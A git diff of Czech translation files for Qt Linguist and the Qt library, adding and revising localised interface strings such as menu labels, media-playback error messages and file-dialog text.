         The file '%1' does not seem to be related to the file '%2' which is being loaded as well.
 
 Skip loading the first named file?
@@ -1003,7 +1755,6 @@ Skip loading the first named file?
 Přeskočit nahrávání prve jmenovaného souboru?
     
     
-        
         %n translation unit(s) loaded.
         
             Nahrána jedna překladová jednotka.
@@ -1012,124 +1763,84 @@ Přeskočit nahrávání prve jmenovaného souboru?
         
     
     
-        
         Related files (%1);;
         Příbuzné soubory (%1);;
     
     
-        
         Open Translation Files
         Otevřít soubory s překlady
     
     
-        
-        
         File saved.
         Soubor uložen.
     
     
-        
-        
-        
         Release
         Vydat
     
     
-        
         Qt message files for released applications (*.qm)
 All files (*)
         Qt soubory se zprávami pro vydané aplikace (*.qm)
 Všechny soubory (*)
     
     
-        
-        
         File created.
         Soubor vytvořen.
     
     
-        
-        
         Printing...
         Tisk...
     
     
-        
         Context: %1
         Souvislosti: %1
     
     
-        
         finished
         vyřízeno
     
     
-        
         unresolved
         nevyřešeno
     
     
-        
         obsolete
         zastaralé
     
     
-        
-        
         Printing... (page %1)
         Tisk... (strana %1)
     
     
-        
-        
         Printing completed
         Tisk dokončen
     
     
-        
-        
         Printing aborted
         Tisk zrušen
     
     
-        
         Search wrapped.
         Hledání začíná odshora.
     
     
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
         Qt Linguist
         Qt Linguist
     
     
-        
-        
         Cannot find the string '%1'.
         Nelze najít řetězec '%1'.
     
     
-        
         Search And Translate in '%1' - Qt Linguist
         Hledat a překládat v '%1' - Qt Linguist
     
     
-        
-        
-        
         Translate - Qt Linguist
         Překlad - Qt Linguist
     
     
-        
         Translated %n entry(s)
         
             Přeložen jeden záznam
@@ -1138,39 +1849,32 @@ Všechny soubory (*)
         
     
     
-        
         No more occurrences of '%1'. Start over?
         Žádné další výskyty '%1'. Začít znovu?
     
     
-        
         Create New Phrase Book
         Vytvořit nový slovník
     
     
-        
         Qt phrase books (*.qph)
 All files (*)
         Slovníky Qt (*.qph)
 Všechny soubory (*)
     
     
-        
         Phrase book created.
         Slovník vytvořen.
     
     
-        
         Open Phrase Book
         Otevřít slovník
     
     
-        
         Qt phrase books (*.qph);;All files (*)
         Slovníky Qt (*.qph);;Všechny soubory (*)
     
     
-        
         %n phrase(s) loaded.
         
             Nahrán jeden záznam ve slovníku.
@@ -1179,427 +1883,342 @@ Všechny soubory (*)
         
     
     
-        
-        
-        
         Add to phrase book
         Přidat do slovníku
     
     
-        
         No appropriate phrasebook found.
         Nelze nalézt žádný příslušný slovník.
     
     
-        
         Adding entry to phrasebook %1
         Přidává se záznam do slovníku %1
     
     
-        
         Select phrase book to add to
         Do kterého slovníku se má záznam přidat
     
     
-        
         Unable to launch Qt Assistant (%1)
         Qt Assistant nelze spustit (%1)
     
     
-        
         Version %1
         Verze %1
     
     
-        
+        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist is a tool for adding translations to Qt applications.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist je nástrojem pro přidávání překladů do programů Qt.</p><p>Copyright (C) 2010 Nokia Corporation a/nebo její dceřinná společnost(i).
+    
+    
         <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist is a tool for adding translations to Qt applications.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
-        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist je nástrojem pro přidávání překladů do aplikací Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
+        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist je nástrojem pro přidávání překladů do aplikací Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
     
     
-        
         Do you want to save the modified files?
         Chcete uložit změněné soubory?
     
     
-        
         Do you want to save '%1'?
         Chcete uložit '%1'?
     
     
-        
         Qt Linguist[*]
         Qt Linguist[*]
     
     
-        
         %1[*] - Qt Linguist
         %1[*] - Qt Linguist
     
     
-        
-        
         No untranslated translation units left.
         Nezbyly žádné nepřeložené překladové jednotky.
     
     
-        
         &Window
         &Okno
     
     
-        
         Minimize
         Zmenšit
     
     
-        
         Ctrl+M
         Ctrl+M
     
     
-        
         Display the manual for %1.
         Zobrazit příručku k %1.
     
     
-        
         Display information about %1.
         Zobrazit údaje o %1.
     
     
-        
         &Save '%1'
         &Uložit '%1'
     
     
-        
         Save '%1' &As...
         '%1' uložit &jako...
     
     
-        
         Release '%1'
         Vydat '%1'
     
     
-        
         Release '%1' As...
         '%1' vydat jako...
     
     
-        
         &Close '%1'
         &Zavřít '%1'
     
     
-        
-        
         &Close
         &Zavřít
     
     
-        
         Save All
         Uložit vše
     
     
-        
-        
         &Release All
         &Vydat vše
     
     
-        
         Close All
         Zavřít vše
     
     
-        
         Translation File &Settings for '%1'...
         Nastavení &souboru s překladem pro '%1' ...
     
     
-        
         &Batch Translation of '%1'...
         &Automatický překlad '%1' ...
     
     
-        
         Search And &Translate in '%1'...
         Hledat a &překládat v '%1' ...
     
     
-        
         Search And &Translate...
         Hledat a &překládat...
     
     
-        
-        
         File
         Soubor
     
     
-        
-        
         Edit
         Úpravy
     
     
-        
-        
         Translation
         Překlad
     
     
-        
-        
         Validation
         Schválení
     
     
-        
-        
         Help
         Nápověda
     
     
-        
         Cannot read from phrase book '%1'.
         Nelze číst ze slovníku '%1'.
     
     
-        
         Close this phrase book.
         Tento slovník zavřít.
     
     
-        
         Enables you to add, modify, or delete entries in this phrase book.
         Umožní vložit, měnit nebo odstranit záznamy z tohoto slovníku.
     
     
-        
         Print the entries in this phrase book.
         Vytisknout záznamy z tohoto slovníku.
     
     
-        
         Cannot create phrase book '%1'.
         Nelze vytvořit slovník '%1'.
     
     
-        
         Do you want to save phrase book '%1'?
         Chcete uložit slovník '%1'?
     
     
-        
         All
         Vše
     
     
-        
         Open/Refresh Form &Preview
         Otevřít/Obnovit &náhled na formulář
     
     
-        
         Form Preview Tool
         Nástroj pro náhled na formulář
     
     
-        
         F5
         F5
     
     
-        
-        
         Translation File &Settings...
         &Nastavení souboru s překladem...
     
     
-        
         &Add to Phrase Book
         &Přidat do slovníku
     
     
-        
         Ctrl+T
         Ctrl+T
     
     
-        
         Ctrl+J
         Ctrl+J
     
     
-        
         Ctrl+Shift+J
         Ctrl+Shift+J
     
     
-        
         Previous unfinished item
         Předchozí nevyřízený záznam
     
     
-        
         Next unfinished item
         Další nevyřízený záznam
     
     
-        
         Move to previous item
         Jít na předchozí záznam
     
     
-        
         Next item
         Další záznam
     
     
-        
         Mark item as done and move to the next unfinished item
         Označit záznam jako vyřízený a jít na další nevyřízený záznam
     
     
-        
         Copies the source text into the translation field
         Kopíruje zdrojový text do pole s překladem
     
     
-        
         Toggle the validity check of accelerators
         Zapnout/Vypnout ověření akcelerátorů
     
     
-        
         Toggle the validity check of ending punctuation
         Zapnout/Vypnout ověření znaku na konci věty na konci textu
     
     
-        
         Toggle checking that phrase suggestions are used
         Zapnout/Vypnout ověření použití záznamů ze slovníku
     
     
-        
         Toggle the validity check of place markers
         Zapnout/Vypnout ověření držitelů místa
     
     
-        
         Create a Qt message file suitable for released applications from the current message file. The filename will automatically be determined from the name of the TS file.
         Vytvořit z nynějšího překladového souboru soubor s hlášeními Qt vhodný pro vydané aplikace. Název souboru bude automaticky odvozen z názvu souboru TS.
     
     
-        
         Length Variants
         Varianty délky
     
+    
+        Display information about the Qt toolkit by Nokia.
+        Zobrazit informace o sadě nástrojů Qt od Nokie.
+    
 
 
     MessageEditor
     
-        
         
         This is the right panel of the main window.
         
     
     
-        
         Russian
         Ruský
     
     
-        
         German
         Německý
     
     
-        
         Japanese
         Japonský
     
     
-        
         French
         Francouzský
     
     
-        
         Polish
         Polský
     
     
-        
         Chinese
         Čínský
     
     
-        
         This whole panel allows you to view and edit the translation of some source text.
         Celý tento panel umožňuje zobrazení a úpravy překladu zdrojového textu.
     
     
-        
         Source text
         Zdrojový text
     
     
-        
         This area shows the source text.
         Tato oblast ukazuje zdrojový text.
     
     
-        
         Source text (Plural)
         Zdrojový text (Plural)
     
     
-        
         This area shows the plural form of the source text.
         Tato oblast ukazuje množné číslo zdrojového textu.
     
     
-        
         Developer comments
         Vývojářovy poznámky
     
     
-        
         This area shows a comment that may guide you, and the context in which the text occurs.
         Tato oblast ukazuje případn poznámky, jež vás mohou vést, a souvislosti, v nichž se text vyskytuje.
     
     
-        
         Here you can enter comments for your own use. They have no effect on the translated applications.
         Sem můžete vepsat poznámky určené pro vaše vlastní použití. Na překlad nemají žádný vliv.
     
     
-        
         %1 translation (%2)
         Překlad %1 (%2)
     
     
-        
         This is where you can enter or modify the translation of the above source text.
         Tady můžete zadávat nebo měnit překlad zdrojového textu.
     
     
-        
         %1 translation
         Překlad %1
     
     
-        
         %1 translator comments
         %1 překladatelovy poznámky
     
     
-        
         '%1'
 Line: %2
         '%1'
@@ -1609,22 +2228,18 @@ Line: %2
 
     MessageModel
     
-        
         Completion status for %1
         Stav zpracování %1
     
     
-        
         <file header>
         <hlavička souboru>
     
     
-        
         <context comment>
         <související poznámka>
     
     
-        
         <unnamed context>
         <nepojmenovaná souvislost>
     
@@ -1632,122 +2247,106 @@ Line: %2
 
     MsgEdit
     
-        
         
         This is the right panel of the main window.
         
     
 
 
+    PhraseBook
+    
+        Parse error at line %1, column %2 (%3).
+        Chyba při zpracování na řádku %1, ve sloupci %2 (%3).
+    
+
+
     PhraseBookBox
     
-        
         
         Go to Phrase > Edit Phrase Book... The dialog that pops up is a PhraseBookBox.
         
     
     
-        
         (New Entry)
         (Nový záznam)
     
     
-        
         %1[*] - Qt Linguist
         %1[*] - Qt Linguist
     
     
-        
         Qt Linguist
         Qt Linguist
     
     
-        
         Cannot save phrase book '%1'.
         Nelze uložit slovník '%1'.
     
     
-        
         Edit Phrase Book
         Upravit slovník
     
     
-        
         This window allows you to add, modify, or delete entries in a phrase book.
         Toto okno vám umožní vložit, měnit nebo odstranit záznamy z tohoto slovníku.
     
     
-        
         &Translation:
         &Překlad:
     
     
-        
         This is the phrase in the target language corresponding to the source phrase.
         Toto je text, který v cílovém jazyce odpovídá zdrojovému textu.
     
     
-        
         S&ource phrase:
         &Zdrojový text:
     
     
-        
         This is a definition for the source phrase.
         Toto je vymezení zdrojového textu.
     
     
-        
         This is the phrase in the source language.
         Toto je text ve zdrojovém jazyce.
     
     
-        
         &Definition:
         &Vymezení:
     
     
-        
         Click here to add the phrase to the phrase book.
         Sem klepněte kvůli vložení nového záznamu do slovníku.
     
     
-        
         &New Entry
         &Nový záznam
     
     
-        
         Click here to remove the entry from the phrase book.
         Sem klepněte kvůli odstranění nového záznamu ze slovníku.
     
     
-        
         &Remove Entry
         &Odstranit záznam
     
     
-        
         Settin&gs...
         &Nastavení...
     
     
-        
         Click here to save the changes made.
         Sem klepněte kvůli uložení provedených změn.
     
     
-        
         &Save
         &Uložit
     
     
-        
         Click here to close this window.
         Sem klepněte kvůli zavření tohoto okna.
     
     
-        
         Close
         Zavřít
     
@@ -1755,17 +2354,14 @@ Line: %2
 
     PhraseModel
     
-        
         Source phrase
         Zdrojový text
     
     
-        
         Translation
         Překlad
     
     
-        
         Definition
         Vymezení
     
@@ -1773,22 +2369,18 @@ Line: %2
 
     PhraseView
     
-        
         Insert
         Vložit
     
     
-        
         Edit
         Upravit
     
     
-        
         Guess (%1)
         Návrh (%1)
     
     
-        
         Guess
         Návrh
     
@@ -1796,76 +2388,67 @@ Line: %2
 
     QObject
     
-        
         Compiled Qt translations
         Sestavené překlady Qt
     
     
-        
         Translation files (%1);;
         Překladové soubory (%1);;
     
     
-        
         All files (*)
         Všechny soubory (*)
     
     
-        
-        
-        
-        
-        
-        
-        
         Qt Linguist
         Qt Linguist
     
     
-        
         GNU Gettext localization files
         Překladové soubory GNU Gettext
     
     
-        
+        GNU Gettext localization template files
+        Soubory s předlohami pro překlad GNU Gettext
+    
+    
         Qt translation sources (format 1.1)
         Překladové soubory Qt (verze formátu 1.1)
     
     
-        
         Qt translation sources (format 2.0)
         Překladové soubory Qt (verze formátu 2.0)
     
     
-        
         Qt translation sources (latest format)
         Překladové soubory Qt (nejnovější formát)
     
     
-        
         XLIFF localization files
         Překladové soubory XLIFF
     
     
-        
         Qt Linguist 'Phrase Book'
         Slovník Qt Linguist
     
+    
+        lupdate version %1
+
+        Verze lupdate %1
+
+    
 
 
     SourceCodeView
     
-        
         <i>Source code not available</i>
         <i>Zdrojový text není dostupný</i>
     
     
-        
         <i>File %1 not available</i>
         <i>Soubor %1 není dostupný</i>
     
     
-        
         <i>File %1 not readable</i>
         <i>Soubor %1 není čitelný</i>
     
@@ -1873,42 +2456,34 @@ Line: %2
 
     Statistics
     
-        
         Statistics
         Statistiky
     
     
-        
         Translation
         Překlad
     
     
-        
         Source
         Zdroj
     
     
-        
         0
         0
     
     
-        
         Words:
         Slov:
     
     
-        
         Characters:
         Znaků:
     
     
-        
         Characters (with spaces):
         Znaků (s mezerami):
     
     
-        
         Close
         Zavřít
     
@@ -1916,72 +2491,58 @@ Line: %2
 
     TranslateDialog
     
-        
         This window allows you to search for some text in the translation source file.
         Toto okno vám umožňuje hledání textu ve zdrojovém souboru s překladem.
     
     
-        
         Type in the text to search for.
         Zadejte text, který se má hledat.
     
     
-        
         Find &source text:
         Hledat &zdrojový text:
     
     
-        
         &Translate to:
         &Překlad:
     
     
-        
         Search options
         Nastavení hledání
     
     
-        
         Texts such as 'TeX' and 'tex' are considered as different when checked.
         Když je zapnuto, texty jako 'TeX' a 'tex' se považují za rozdílné.
     
     
-        
         Match &case
         Dbát na &psaní velkých a malých písmen
     
     
-        
         Mark new translation as &finished
         Nový překlad označit jako &vyřízený
     
     
-        
         Click here to find the next occurrence of the text you typed in.
         Klepněte sem pro skok k dalšímu výskytu hledáného textu.
     
     
-        
         Find Next
         Hledat dál
     
     
-        
         Translate
         Přeložit
     
     
-        
         Translate All
         Přeložit vše
     
     
-        
         Click here to close this window.
         Klepněte sem pro zavření tohoto okna.
     
     
-        
         Cancel
         Zrušit
     
@@ -1989,33 +2550,26 @@ Line: %2
 
     TranslationSettingsDialog
     
-        
         Any Country
         Země
     
     
-        
-        
         Settings for '%1' - Qt Linguist
         Nastavení pro '%1' - Qt Linguist
     
     
-        
         Source language
         Zdrojový jazyk
     
     
-        
         Language
         Jazyk
     
     
-        
         Country/Region
         Země/Oblast
     
     
-        
         Target language
         Cílový jazyk
     
diff --git a/translations/qt_cs.ts b/translations/qt_cs.ts
old mode 100644
new mode 100755
index e184f64..3e72f01
--- a/translations/qt_cs.ts
+++ b/translations/qt_cs.ts
@@ -26,7 +26,6 @@
 
     CloseButton
     
-        
         Close Tab
         Zavřít kartu
     
@@ -34,45 +33,68 @@
 
     FakeReply
     
-        
         Fake error !
         Napodobená chyba!
     
     
-        
         Invalid URL
         Neplátné URL
     
 
 
+    MAC_APPLICATION_MENU
+    
+        Services
+        Služby
+    
+    
+        Hide %1
+        Skrýt %1
+    
+    
+        Hide Others
+        Skrýt ostatní
+    
+    
+        Show All
+        Ukázat vše
+    
+    
+        Preferences...
+        Nastavení...
+    
+    
+        Quit %1
+        Ukončit %1
+    
+    
+        About %1
+        O %1
+    
+
+
     Phonon::
     
-        
         Games
         Hry
     
     
-        
         Music
         Hudba
     
     
-        
         Video
         Video
     
     
-        
         Communication
         Spojení
     
     
-        
         Accessibility
         Dostupnost
     
     
-        
         Notifications
         Oznámení
     
@@ -80,32 +102,31 @@
 
     Phonon::AudioOutput
     
-        
         <html>The audio playback device <b>%1</b> does not work.<br/>Falling back to <b>%2</b>.</html>
         <html>Zařízení pro přehrávání zvuku <b>%1</b> nepracuje.<br/>Místo něj <b>%2</b> se používá.</html>
     
     
-        
         <html>Switching to the audio playback device <b>%1</b><br/>which just became available and has higher preference.</html>
         <html>Zařízení pro přehrávání zvuku <b>%1</b> bylo spuštěno,<br/>protože je právě dostupné a má větší přednost.</html>
     
     
-        
         Revert back to device '%1'
         Přepnout zpět na zařízení '%1'
     
+    
+        <html>Switching to the audio playback device <b>%1</b><br/>which has higher preference or is specifically configured for this stream.</html>
+        <html>Přepíná se na zvukové přehrávací zařízení <b>%1</b><br/>, které má větší přednost, nebo bylo zvláště nastaveno pro tento proud.</html>
+    
 
 
     Phonon::Gstreamer::Backend
     
-        
         Warning: You do not seem to have the base GStreamer plugins installed.
           All audio and video support has been disabled
         Upozornění: Zdá se, že zákládní přídavné moduly pro GStreamer nejsou nainstalovány.
 Podpora audia a videa byla vypnuta
     
     
-        
         Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
           Some video features have been disabled.
         Varování: Balíček gstreamer0.10-plugins-good není nainstalován.
@@ -115,50 +136,54 @@ Některé vlastnosti videa nejsou dostupné.
 
     Phonon::Gstreamer::MediaObject
     
-        
-        
-        
-        
-        
-        
-        
-        
         Could not open media source.
         Zdroj s médii se nepodařilo otevřít.
     
     
-        
         Could not decode media source.
         Zdroj s médii se nepodařilo rozluštit.
     
     
-        
         Invalid source type.
         Neplatný typ zdroje s médii.
     
     
-        
         Cannot start playback. 
 
 Check your Gstreamer installation and make sure you 
 have libgstreamer-plugins-base installed.
-        Přehrávání nelze spustit.
+        Přehrávání nelze spustit.
 
 Ověřte, prosím, instalaci Gstreamer a ujistěte se,
 že je nainstalován balíček libgstreamer-plugins-base.
     
     
-        
         Could not open audio device. The device is already in use.
         Zvukové zařízení se nepodařilo otevřít, protože se již používá.
     
     
-        
         A required codec is missing. You need to install the following codec(s) to play this content: %0
         Všechny vyžadované kodeky nejsou nainstalovány. Kvůli přehrání tohoto obsahu je potřeba nainstalovat následující kodek(y): %0
     
     
-        
+        Cannot start playback. 
+
+Check your GStreamer installation and make sure you 
+have libgstreamer-plugins-base installed.
+        Přehrávání nelze spustit.
+
+Ověřte, prosím, instalaci Gstreamer a ujistěte se,
+že je nainstalován balíček libgstreamer-plugins-base.
+    
+    
+        Missing codec helper script assistant.
+        Chybí skriptový pomocník pro nápovědu ke kodeku.
+    
+    
+        Plugin codec installation failed for codec: %0
+        Instalace přídavného modulu kodeku se nezdařila pro kodek: %0
+    
+    
         Could not locate media source.
         Zdroj s médii se nepodařilo nalézt.
     
@@ -166,95 +191,360 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
 
     Phonon::MMF
     
-        
         Audio Output
         Výstup zvuku
     
     
-        
         The audio output device
         Zařízení pro výstup zvuku
     
+    
+        No error
+        Žádná chyba
+    
+    
+        Not found
+        Nenalezeno
+    
+    
+        Out of memory
+        Není dostupná žádná další paměť
+    
+    
+        Not supported
+        Nepodporováno
+    
+    
+        Overflow
+        Přetečení
+    
+    
+        Underflow
+        Podtečení
+    
+    
+        Already exists
+        Již existuje
+    
+    
+        Path not found
+        Cesta nenalezena
+    
+    
+        In use
+        Již se používá
+    
+    
+        Not ready
+        Nepřipraven
+    
+    
+        Access denied
+        Přístup odepřen
+    
+    
+        Could not connect
+        Nepodařilo se vytvořit žádné spojení
+    
+    
+        Disconnected
+        Odpojeno
+    
+    
+        Permission denied
+        Přístup odepřen
+    
+    
+        Insufficient bandwidth
+        Nedostatečná šířka pásma
+    
+    
+        Network unavailable
+        Síť není dostupná
+    
+    
+        Network communication error
+        Chyba při spojení přes síť
+    
+    
+        Streaming not supported
+        Proudění nepodporováno
+    
+    
+        Server alert
+        Stav pohotovosti serveru
+    
+    
+        Invalid protocol
+        Neplatný protokol
+    
+    
+        Invalid URL
+        Neplátné URL
+    
+    
+        Multicast error
+        Chyba ve vícepočítání (multicast)
+    
+    
+        Proxy server error
+        Chyba při spojení u zprostředkujícího serveru (proxy)
+    
+    
+        Proxy server not supported
+        Zprostředkující server nepodporován
+    
+    
+        Audio output error
+        Chyba při výstupu zvuku
+    
+    
+        Video output error
+        Chyba při výstupu obrazu
+    
+    
+        Decoder error
+        Chyba v dekodéru
+    
+    
+        Audio or video components could not be played
+        Zvukové nebo obrazové složky se nepodařilo přehrát
+    
+    
+        DRM error
+        Chyba DRM
+    
+    
+        Unknown error (%1)
+        Neznámá chyba (%1)
+    
+
+
+    Phonon::MMF::AbstractMediaPlayer
+    
+        Not ready to play
+        Nepřipraven k přehrávání
+    
+    
+        Error opening file
+        Soubor se nepodařilo otevřít
+    
+    
+        Error opening URL
+        Adresu se nepodařilo otevřít
+    
+    
+        Error opening resource
+        Nepodařilo se otevřít prostředky
+    
+    
+        Error opening source: resource not opened
+        Zdroj se nepodařilo otevřít: prostředek není otevřen
+    
+    
+        Setting volume failed
+        Hlasitost se nepodařilo nastavit
+    
+    
+        Loading clip failed
+        Ukázku se nepodařilo nahrát
+    
+    
+        Playback complete
+        Přehrávání dokončeno
+    
+    
+        Download error
+        Chyba při stahování
+    
+
+
+    Phonon::MMF::AbstractVideoPlayer
+    
+        Pause failed
+        Pozastavení se nepodařilo provést
+    
+    
+        Seek failed
+        Hledání se nepodařilo provést
+    
+    
+        Getting position failed
+        Polohu se nepodařilo určit
+    
+    
+        Opening clip failed
+        Ukázku se nepodařilo otevřít
+    
 
 
     Phonon::MMF::AudioEqualizer
     
-        
         Frequency band, %1 Hz
-        Kmitočtové pásmo, %1 Hz
+        Kmitočtové pásmo, %1 Hz
+    
+    
+        %1 Hz
+        %1 Hz
+    
+
+
+    Phonon::MMF::AudioPlayer
+    
+        Getting position failed
+        Polohu se nepodařilo určit
+    
+
+
+    Phonon::MMF::DsaVideoPlayer
+    
+        Video display error
+        Chyba při zobrazení videa
     
 
 
     Phonon::MMF::EffectFactory
     
-        
         audio equalizer
-        zvukový ekvalizér
+        zvukový ekvalizér
     
     
-        
         Bass boost
-        Zdůraznění basů
+        Zdůraznění basů
     
     
-        
         Distance Attenuation
-        Zeslabení v závislosti na vzdálenosti
+        Zeslabení v závislosti na vzdálenosti
     
     
-        
-        
         Environmental Reverb
-        Vnější ozvěna
+        Vnější ozvěna
     
     
-        
         Loudness
-        Hlasitost
+        Hlasitost
     
     
-        
         Source Orientation
-        Zaměření zdroje
+        Zaměření zdroje
     
     
-        
         Stereo Widening
-        Rozšíření sterea
+        Rozšíření sterea
+    
+    
+        Enabled
+        Povoleno
+    
+
+
+    Phonon::MMF::EnvironmentalReverb
+    
+        Decay HF ratio (%)
+        DecayHFRatio: Ratio of high-frequency decay time to the value specified by DecayTime.
+        Poměr dozvuku u vysokých kmitočtů (%)
+    
+    
+        Decay time (ms)
+        DecayTime: Time over which reverberation is diminished.
+        Čas dozvuku (ms)
+    
+    
+        Density (%)
+        Density Delay between first and subsequent reflections. Note that the S60 platform documentation does not make clear the distinction between this value and the Diffusion value.
+        Hustota (%)
+    
+    
+        Diffusion (%)
+        Diffusion: Delay between first and subsequent reflections. Note that the S60 platform documentation does not make clear the distinction between this value and the Density value.
+        Rozptyl (%)
+    
+    
+        Reflections delay (ms)
+        ReflectionsDelay: Amount of delay between the arrival the direct path from the source and the arrival of the first reflection.
+        Zpoždění odrazu (ms)
+    
+    
+        Reflections level (mB)
+        ReflectionsLevel: Amplitude of reflections. This value is corrected by the RoomLevel to give the final reflection amplitude.
+        Síla odrazu (mB)
+    
+    
+        Reverb delay (ms)
+        ReverbDelay: Amount of time between arrival of the first reflection and start of the late reverberation.
+        Zpoždění ozvěny (ms)
+    
+    
+        Reverb level (mB)
+        ReverbLevel Amplitude of reverberations. This value is corrected by the RoomLevel to give the final reverberation amplitude.
+        Síla ozvěny (mB)
+    
+    
+        Room HF level
+        RoomHFLevel: Amplitude of low-pass filter used to attenuate the high frequency component of reflected sound.
+        Hladina vysokého kmitočtu v prostoru
+    
+    
+        Room level (mB)
+        RoomLevel: Master volume control for all reflected sound.
+        Hladina prostoru (mB)
+    
+
+
+    Phonon::MMF::MediaObject
+    
+        Error opening source: type not supported
+        Zdroj se nepodařilo otevřít: tento typ není podporován
+    
+    
+        Error opening source: resource is compressed
+        Zdroj se nepodařilo otevřít: prostředek je zkomprimován
+    
+    
+        Error opening source: resource not valid
+        Zdroj se nepodařilo otevřít: prostředek není platný
+    
+    
+        Error opening source: media type could not be determined
+        Zdroj se nepodařilo otevřít: nepodařilo se určit typ média
+    
+
+
+    Phonon::MMF::StereoWidening
+    
+        Level (%)
+        Síla (%)
+    
+
+
+    Phonon::MMF::SurfaceVideoPlayer
+    
+        Video display error
+        Chyba při zobrazení videa
     
 
 
     Phonon::VolumeSlider
     
-        
-        
-        
-        
         Volume: %1%
         Hlasitost: %1%
     
     
-        
-        
-        
         Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%
         Posuvník se používá k nastavení hlasitosti. Poloha nejvíce vlevo odpovídá 0%; poloha nejvíce vpravo odpovídá %1%
     
     
-        
         Muted
-        Ztlumení
+        Ztlumeno
     
 
 
     Q3Accel
     
-        
         %1, %2 not defined
         %1, %2 nejsou stanoveny
     
     
-        
         Ambiguous %1 not handled
         Nejednoznačné %1 nemohou být zpracovány
     
@@ -262,27 +552,22 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
 
     Q3DataTable
     
-        
         True
         Pravdivý
     
     
-        
         False
-        Nesprávný
+        Nepravdivý
     
     
-        
         Delete
         Smazat
     
     
-        
         Insert
         Vložit
     
     
-        
         Update
         Obnovit
     
@@ -290,224 +575,170 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
 
     Q3FileDialog
     
-        
-        
         &OK
         &OK
     
     
-        
         &No
         &Ne
     
     
-        
         Dir
         Adresář
     
     
-        
         &Yes
         &Ano
     
     
-        
         Back
         Zpět
     
     
-        
         Date
         Datum
     
     
-        
         File
         Soubor
     
     
-        
         Name
         Název
     
     
-        
-        
-        
         Open
         Otevřít
     
     
-        
         Size
         Velikost
     
     
-        
         Sort
         Roztřídit
     
     
-        
         Type
         Typ
     
     
-        
-        
-        
         &Open
         &Otevřít
     
     
-        
-        
         &Save
         &Uložit
     
     
-        
-        
         Error
         Chyba
     
     
-        
         Open 
         Otevřít
     
     
-        
-        
         Write: %1
         Zapsat: %1
     
     
-        
         Sort by &Size
         Roztřídit podle &velikosti
     
     
-        
         Sort by &Date
         Roztřídit podle &data
     
     
-        
         Sort by &Name
         Roztřídit podle &názvu
     
     
-        
         New Folder 1
         Nová složka 1
     
     
-        
         the directory
         Adresář
     
     
-        
         File &type:
         Typ &souboru:
     
     
-        
-        
-        
         File &name:
         Název &souboru:
     
     
-        
         Delete %1
         Smazat %1
     
     
-        
-        
         Cancel
         Zrušit
     
     
-        
         R&eload
         Nahrát &znovu
     
     
-        
         New Folder
         Nová složka
     
     
-        
         &Unsorted
         &Neroztříděné
     
     
-        
         Look &in:
         Hle&dat v:
     
     
-        
         Preview File Contents
         Náhled obsahu souboru
     
     
-        
         New Folder %1
         Nová složka %1
     
     
-        
         Read-write
         Číst/Zapisovat
     
     
-        
         Read-only
         Pouze číst
     
     
-        
         Copy or Move a File
         Soubor kopírovat nebo posunout
     
     
-        
         <qt>Are you sure you wish to delete %1 "%2"?</qt>
         <qt>Jste si jistý, že chcete smazat %1 "%2"?</qt>
     
     
-        
         Find Directory
         Najít adresář
     
     
-        
         Attributes
         Vlastnosti
     
     
-        
         Show &hidden files
         &Ukázat skryté soubory
     
     
-        
-        
         Save As
         Uložit jako
     
     
-        
         Inaccessible
         Nepřístupné
     
     
-        
         %1
 File not found.
 Check path and filename.
@@ -516,106 +747,82 @@ Soubor se nepodařilo nalézt.
 Ověřte cestu a název souboru.
     
     
-        
         List View
         Pohled se seznamem
     
     
-        
         Special
         Zvláštní vlastnost
     
     
-        
         Write-only
         Pouze zápis
     
     
-        
         the symlink
         Symbolický odkaz
     
     
-        
         &Delete
         &Smazat
     
     
-        
-        
-        
-        
         All Files (*)
         Všechny soubory (*)
     
     
-        
-        
         Directories
         Adresáře
     
     
-        
         Symlink to Special
         Symbolický odkaz k zvláštnímu souboru
     
     
-        
         Select a Directory
         Vyberte adresář
     
     
-        
         All Files (*.*)
         Všechny soubory (*.*)
     
     
-        
         Read: %1
         Číst: %1
     
     
-        
         &Rename
         &Přejmenovat
     
     
-        
         Directory:
         Adresář:
     
     
-        
         One directory up
         O jeden adresář nahoru
     
     
-        
         Preview File Info
         Náhled informace o souboru
     
     
-        
         the file
         Soubor
     
     
-        
         Create New Folder
         Vytvořit novou složku
     
     
-        
         Symlink to File
         Symbolický odkaz k souboru
     
     
-        
         Symlink to Directory
         Symbolický odkaz k adresáři
     
     
-        
         Detail View
         Podrobný pohled
     
@@ -623,36 +830,30 @@ Ověřte cestu a název souboru.
 
     Q3LocalFs
     
-        
         Could not open
 %1
         Nepodařilo se otevřít:
 %1
     
     
-        
         Could not remove file or directory
 %1
         Nepodařilo se odstranit soubor nebo adresář
 %1
     
     
-        
         Could not create directory
 %1
         Nepodařilo se vytvořit adresář
 %1
     
     
-        
-        
         Could not read directory
 %1
         Nepodařilo se přečíst adresář
 %1
     
     
-        
         Could not rename
 %1
 to
@@ -663,7 +864,6 @@ na
 %2
     
     
-        
         Could not write
 %1
         Nepodařilo se zapsat:
@@ -673,12 +873,10 @@ na
 
     Q3MainWindow
     
-        
         Line up
         Uspořádat
     
     
-        
         Customize...
         Přizpůsobit...
     
@@ -686,7 +884,6 @@ na
 
     Q3NetworkProtocol
     
-        
         Operation stopped by the user
         Operace byla zastavena uživatelem
     
@@ -694,8 +891,6 @@ na
 
     Q3ProgressDialog
     
-        
-        
         Cancel
         Zrušit
     
@@ -703,28 +898,22 @@ na
 
     Q3TabDialog
     
-        
-        
         OK
         OK
     
     
-        
         Help
         Nápověda
     
     
-        
         Apply
         Použít
     
     
-        
         Cancel
         Zrušit
     
     
-        
         Defaults
         Výchozí
     
@@ -732,38 +921,30 @@ na
 
     Q3TextEdit
     
-        
